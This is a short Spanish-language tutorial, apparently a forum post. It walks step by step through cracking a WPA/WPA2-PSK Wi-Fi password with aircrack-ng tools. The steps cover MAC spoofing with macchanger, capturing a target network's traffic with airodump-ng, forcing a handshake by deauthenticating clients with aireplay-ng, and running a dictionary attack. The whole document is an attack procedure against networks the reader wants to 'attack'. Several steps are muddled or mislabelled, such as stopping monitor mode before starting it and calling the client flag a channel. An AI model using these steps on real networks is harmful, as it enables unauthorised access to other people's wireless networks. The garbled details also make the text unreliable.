Tecnico

PARA WPA Y WPA2 CON PSK O TKIP

PARA WPA EMPECEMOS

IGUALMENTE QUE CON WEP LOS COMANDOS SON:

1.- iwconfig: PARA VER SI NUESTRA TARJETA SIVE PARA INYECTAR PAQUETES Y NOS MUESTRA EL TIPODE DISPOSITIVO QUE TENEMOS YA SE A (wifi0, eth0, wlan0, wmaster0, etc)...

2.-TECLEAMOS airmon-ng stop wlan0 (o la interfaz que le salio en "iwconfig" ) PARA DETENER LA INTERFAZ EN MONITOR3.- CAMBIAMOS LA MAC TECLEAMOS macchanger -m y el numero que quieren en la mac en este caso sera 00:11:22:33:44:55 wlan0

4.- TECLEAMOS ifconfig wlan0 down PARA QUE LA INTERFAZ NECESITE UNCLIENTE CONECTADO

5.- TECLEAMOS airmon-ng wlan0 PARA ENCENDER LA INTERFAZ EN MODO MONITOR DEBE SALIR AL FINAL mon0 enabled

6.- TECLEAMOS airodump-ng wlan0 PARA VER LAS REDES DISPONIBLES7.- APRETAMOS CONTROL + C PARA TERMINAR EL ESCANEO Y DEBEMOS CHECAR QUE HAYA UNA RED WPA!!!

8.- TECLEAMOS airodump-ng --bssid (AQUI VA LA MAC DE LA RED QUE QUEREMOS ATACAR) -c (AQUI VA EL CANALDE LA RED QUE ATACAMOS) -w (AQUI VA EL ARCHIVO DE SALIDA .CAP) wlan0

OJO!!

SI NO HAY CLIENTES CONETACTADOS DEBEREMOS

USAR EL COMANDO aireplay-ng

PARA NOSOTROS INYECTAR PAQUETES!!!9.- TECLEAMOS aireplay-ng -0 30 -a (AQUI VA LA MAC DE LA RED QUE ATACAMOS) -h (NUESTRA MAC YA CAMBIANDA) wlan0

O LA OTRA FORMA MAS SEGURA ES:

TECLEAMOS aireplay-ng -0 30 -a (AQUI VA LAMAC DE LA RED QUE ATACAMOS) -c (NUESTRA MAC YA CAMBIANDA) wlan0 (SOLO SE CAMBIA LA "h" por la "c" DEL CANAL QUE ESTA DIFUNDIENDO) AL TERMINAR EL PRECESO DEBERA SALIR LA LEYENDA "WPA handshake"(APRETON DE MANOS) QUIERE DECIR QUE VAMOS BIEN.

10.- TECLEAMOS POR FIN aircrack-ng -w /root/AQUI VA LA CARPETA DONDE TIENEN EL DICCIONARIO/NOMBRE DEL DICCIONARIO.lst (AQUI VA EL ARCHIVO .cap QUECREAMOS ANTERIORMENTE CON airodump)

11.- EL SISTEMA RASTRARA EL PROCESO DE DESENCRIPTACION PUEDE TARDAR MUCHO TIEMPO SI ES NECESARIO ADEMAS QUE DEBERAN CONTAR CON UN BUEN DICCIONARIO!!!